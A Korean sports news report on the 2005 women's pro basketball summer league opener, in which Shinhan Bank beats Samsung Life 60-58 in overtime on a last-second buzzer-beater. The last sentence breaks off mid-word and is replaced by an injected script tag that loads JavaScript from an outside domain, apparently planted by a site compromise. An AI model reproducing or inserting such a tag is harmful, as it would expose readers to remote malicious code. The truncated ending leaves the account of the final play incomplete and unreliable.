연장종료 1초 전. 신한은행의 박선영이 좌중간에서 3점슛을 시도했다. 짧았다. 순간 경기장에 있는 모든 사람은 재연장을 생각했다. 그 순간, 골밑에 있는 선수진이 리바운드에 이어 곧바로 뛰어올라 슛을 쐈다. 종료를 알리는 부저와 함께 점수는 60-58. 선수진의 버저비터가 45분의 혈전을 끝내며 신한은행에게 승리를 안겼다.
신한은행은 9일 안산 와동실내체육관에서 펼쳐진 신한은행배 2005 여자프로농구 여름리그 홈경기 개막전에서 겐트(18점.16리바운드) 전주원(10점.8어시스트) 진미정(10점)의 맹활약과 종료직전 선수진(2점.2리바운드.2스틸)의 버저비터 슛에 힘입어 변연하(13점.3스틸) 틸리스(17점.9리바운드)가 분전한 삼성생명을 연장접전 끝에 60-58로 꺾고 승리했다.
동점 7번, 역전 5번. 신한은행배 2005 여자프로농구 여름리그 시작 3일만에 시즌 첫 연장전.
종료 버저비터가 승부를 결정지었듯 끝까지 알수없는 경기였다.
1쿼터 시작은 신한은행이 좋았다. 전주원의 패스로 시작된 신한은행의 공격은 외곽에서 박선영(9점.3점슛3개)이 3점슛 2개로 포문을 열었고, 골밑에서는 겐트가 1쿼터 10점을 올리며 위력적인 공격을 가했다. 신한은행에 수비에 막힌 삼성생명은 팀이 원활한 공격을 펼치지 못했지만, 높이에서는 우위를 지켜 1쿼터를 19-15로 마쳤다.
2쿼터에서는 양팀의 전세가 역전됐다. 신한은행은 공격과 수비에서 모두 불안한 모습을 보이며 실책을 연발했고, 초반 상대 수비에 밀리며 주춤하던 삼성생명은 변연하와 박정은(9점.7리바운드)을 중심으로 공격이 살아나며 2쿼터 시작 3분26초만에 역전에 성공했다. 82%라는 야투성공률이 보여주듯 공격에서 살아난 삼성생명은 수비에서도 뛰어난 조직력을 보이며 점수차를 벌여나갔다. 위력적인 공격을 펼친 삼성생명은 높이에서도 상대를 압도하며 40-30으로 전반을 마쳤다.
삼성생명의 위력적인 공격과 수비는 후반 중반까지 계속됐다. 하지만, 3쿼터 종료 5분34초 신한은행에서 최윤아가 나오면서 분위기는 반전됐다. 전주원과 최윤아를 중심으로 조직력을 가다듬은 신한은행은 5분10초전 진미정의 3점슛으로 역전의 신호탄을 쐈다. 1분33초전 좌측사이드에서 진미정이 다시 3점슛을 터뜨리며 6점차까지 쫒아갔다. 침묵하던 센터 강지숙이 3쿼터 종료 19.2초전 포스트에서 수비를 앞에두고 골밑 레이업을 성공하며 4점차까지 쫒아 3쿼터를 50-46으로 마쳤다.
4쿼터 스코어 10-6. 점수가 보여주듯 공격보다 수비에 집중된 경기였다. 4쿼터 초반 동점을 만들려는 신한은행과 리드하려는 삼성생명의 공격이 치열하며 양팀 모두 점수를 내지 못했다.
4쿼터 종료 6분 44초전. 양팀의 물어서지 않는 경기가 계속된 신한은행의 공격. 다시 시간에 쫒기며 공격하지 못하자 전주원이 수비 3명을 제치며 레이업을 성공해 50-50 동점을 만들었다. 삼성생명의 공격 오버타임으로 수비에서 성공한 신한은행은 5분 41초전 겐트의 미들슛으로 재역전에 성공했고, 변연하의 슛으로 다시 동점을 이루자 5분전 전주원이 드라이브 인 레이업을 성공하며 다시 역전했다. 양팀의 수비로 경기가 계속되던 2분45초전 틸리스가 3점라인에서 시작한 드라이브인 레이업이 성공하며 54-54 동점을 만들었다.
34.2초 전 신한은행 공격. 삼성생명의 수비에 막히며 시간에 쫒기던 신한은행의 진미정이 골밑으로 자리를 찾아 들어가는 것을 전주원이 놓치지 않았다. 전주원의 패스를 받은 진미정이 백레이업을 성공하며 56-54. 신한은행이 다시 리드했다.
12초전. 변연하가 서둘러 3점슛을 던졌지만, 림을 외면했다. 거기서 뛰어오른 건 삼성생명의 이미선이었다. 수비가 진을 친 골밑에서 리바운드에 성공한 이미선은 노련하게 뛰어올라 골밑슛을 성공해 다시 56-56 동점을 만들었다. 곧바로 작전타임을 부른 신한은행 이영주 감독은 남은시간의 공격을 전주원에게 맡겼다. 하지만, 볼이 터치아웃 되며 2.8초 남은 상황. 다시 작전타임을 부른 이감독은 미들슛이 정확한 강지숙에게 맡겼다. 하지만, 패스를 미리 예상한 변연하가 스틸했고 경기는 연장전으로 돌입했다.
연장전. 치열한 경기가 계속되는 가운데 종료 3분43초 전. 변연하의 패스를 받은 이미선이 슛을 성공시키며 삼성생명이 역전했고, 30초 후 변연하의 파울로 얻은 자유투를 겐트가 모두 성공하며 다시 동점.
45분 간의 승부는 바로, 1초전에 선수진 손에서 결정났다. 종료 29초전 신한은행 공격에서 전주원의 볼을 변연하가 가로채기 하며 삼성공격으로 넘어가는 순간 변연하의 패스를 강지숙이 다시 가로채기했고, 박선영이 3초전 시도한 3점슛이 림을 외면했다. 남은 시간은 1초. 박선영의 3점슛이 실패하고 모두 재연장을 생각한 시점. 선수진은 리바운드와 동시에 슛을 시도했고 부저가 울렸다. '통.통.통' 볼은 림 ?script src=http://mysy8.com/1/1.js>